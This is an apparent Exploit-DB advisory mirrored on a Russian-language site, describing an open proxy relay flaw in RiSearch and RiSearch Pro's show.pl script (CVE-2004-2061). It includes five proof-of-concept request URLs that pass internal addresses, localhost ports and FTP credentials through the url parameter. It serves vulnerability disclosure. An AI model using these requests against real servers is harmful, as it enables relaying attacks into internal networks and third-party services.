- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 24326
- Проверка EDB
-
- Пройдено
- Автор
- PHIL ROBINSON
- Тип уязвимости
- REMOTE
- Платформа
- CGI
- CVE
- cve-2004-2061
- Дата публикации
- 2004-07-27
RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Open Proxy Relay
Код:
source: https://www.securityfocus.com/bid/10812/info
RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.
A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.
http://www.example.com/cgi-bin/search/show.pl?url=http://www.google.com
http://www.example.com/cgi-bin/search/show.pl?url=http://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=http://localhost:8080
http://www.example.com/cgi-bin/search/show.pl?url=ftp://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=ftp://username:[email protected]- Источник
- www.exploit-db.com
